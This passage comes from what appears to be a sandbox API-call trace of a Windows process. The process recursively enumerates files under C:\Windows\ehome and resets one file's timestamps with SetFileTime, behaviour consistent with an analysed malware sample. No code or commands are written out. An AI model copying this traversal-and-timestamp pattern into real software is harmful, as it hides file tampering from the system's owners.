ftCreationTime.dwLowDateTime=0xc19d0324, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xa0683c80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x4baf6c45, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenterWebLauncher.exe", cAlternateFileName="")) returned 1 [0127.322] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.322] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fb352d5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x3fb352d5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x3fb352d5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x624, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenterWebLauncher.exe.manifest", cAlternateFileName="")) returned 1 [0127.322] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.323] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cffdb47, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x7cffdb47, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6ff35e60, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenterWebLauncherRes.dll", cAlternateFileName="")) returned 1 [0127.323] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.323] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf49440, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaRenderer", cAlternateFileName="MEDIAR~1")) returned 1 [0127.323] lstrcmpA (lpString1=".", lpString2="MediaRenderer") returned -1 [0127.323] lstrcmpA (lpString1="..", lpString2="MediaRenderer") returned -1 [0127.323] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\MediaRenderer\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf49440, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x50153a, cFileName=".", cAlternateFileName="")) returned 0x502518 [0127.328] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.328] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cf49440, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.328] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.328] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.328] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee39d02a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xee39d02a, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x183865c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f6b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MediaCenter.DigitalMediaRenderer.AVTransport.xml", cAlternateFileName="")) returned 1 [0127.328] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.331] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0127.331] CloseHandle (hObject=0x88) returned 1 [0127.331] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee3c3187, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xee3c3187, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x183865c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1191, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.DigitalMediaRenderer.ConnectionManager.xml", cAlternateFileName="")) returned 1 [0127.331] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.332] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee3c3187, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xee3c3187, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x183865c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.DigitalMediaRenderer.RenderingControl.xml", cAlternateFileName="")) returned 1 [0127.332] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.332] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee3c3187, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xee3c3187, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x183865c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.DigitalMediaRenderer.RenderingControlNoMute.xml", cAlternateFileName="")) returned 1 [0127.332] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0127.332] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee3c3187, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xee3c3187, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x183865c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x0, cFileName="MediaCenter.DigitalMediaRenderer.RenderingControlNoMute.xml", cAlternateFileName="")) returned 0 [0127.333] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0127.333] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71a0b7fc, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x71a0b7fc, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x31359790, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="MFCongestionController.dll", cAlternateFileName="")) returned 1 [0127.333] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.333] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b37e9f1, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9b37e9f1, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x318676b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa8c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MhegVM.dll", cAlternateFileName="")) returned 1 [0127.333] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.333] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2a7392, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xa6f6b400, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xaf4c56a5, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x11b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Bml.dll", cAlternateFileName="")) returned 1 [0127.333] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.334] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f883e9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2f883e9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2f883e9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.dll", cAlternateFileName="")) returned 1 [0127.334] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.334] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3281f6f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3281f6f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa32a80cf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Interop.dll", cAlternateFileName="")) returned 1 [0127.334] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.334] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d7c01f, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xa78f4a80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xa42d6a25, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.iTV.dll", cAlternateFileName="")) returned 1 [0127.335] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.335] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ccec8a, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xa78f4a80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xac92e3c5, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.iTv.Hosting.dll", cAlternateFileName="")) returned 1 [0127.337] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.337] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33b2a71, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa33b2a71, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa33b2a71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x24200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.iTV.Media.dll", cAlternateFileName="")) returned 1 [0127.337] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.337] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2a077bd, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xa78f4a80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xb9da0f45, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.ITVVM.dll", cAlternateFileName="")) returned 1 [0127.337] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.338] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f62289, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2f62289, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2f62289, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Mheg.dll", cAlternateFileName="")) returned 1 [0127.338] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.338] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3471152, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3471152, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa34972b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Playback.dll", cAlternateFileName="")) returned 1 [0127.338] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.339] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34bd413, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa34bd413, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa35096d4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x180000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Shell.dll", cAlternateFileName="")) returned 1 [0127.339] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.339] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f3c129, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2f3c129, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2f3c129, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Sports.dll", cAlternateFileName="")) returned 1 [0127.339] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.339] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa338c911, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa338c911, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa338c911, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.TV.Tuners.Interop.dll", cAlternateFileName="")) returned 1 [0127.339] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.340] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa33b2a71, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa33b2a71, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa33fed32, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.UI.dll", cAlternateFileName="")) returned 1 [0127.340] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.340] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f3c129, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2f3c129, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2f62289, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mstvcapn.dll", cAlternateFileName="")) returned 1 [0127.340] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.340] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3046acb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3046acb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa306cc2b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetBridge.dll", cAlternateFileName="")) returned 1 [0127.340] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.341] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc205bf20, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xb7a72a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xa1a5f425, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RegisterMCEApp.exe", cAlternateFileName="")) returned 1 [0127.341] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.341] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd30c1f4b, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd30c1f4b, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfdf3ef73, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1f9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmcr.ttf", cAlternateFileName="")) returned 1 [0127.341] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.341] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf3ef73, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xfdf3ef73, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xfdf3ef73, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1caac, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmcsb.ttf", cAlternateFileName="")) returned 1 [0127.341] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.342] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd31cc8d6, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd31cc8d6, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xfdf3ef73, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoemcl.ttf", cAlternateFileName="")) returned 1 [0127.342] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.342] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd380c218, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd380c218, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x25050a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x80a0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SS2.dvr-ms", cAlternateFileName="")) returned 1 [0127.342] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.342] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38584d2, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd38584d2, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x252b207, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa0a0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SS51.dvr-ms", cAlternateFileName="")) returned 1 [0127.342] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.343] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c8946bd, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow", cAlternateFileName="")) returned 1 [0127.343] lstrcmpA (lpString1=".", lpString2="wow") returned -1 [0127.343] lstrcmpA (lpString1="..", lpString2="wow") returned -1 [0127.343] FindFirstFileA (in: lpFileName="C:\\Windows\\ehome\\wow\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c6ca989, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa060a95, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9c8946bd, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, 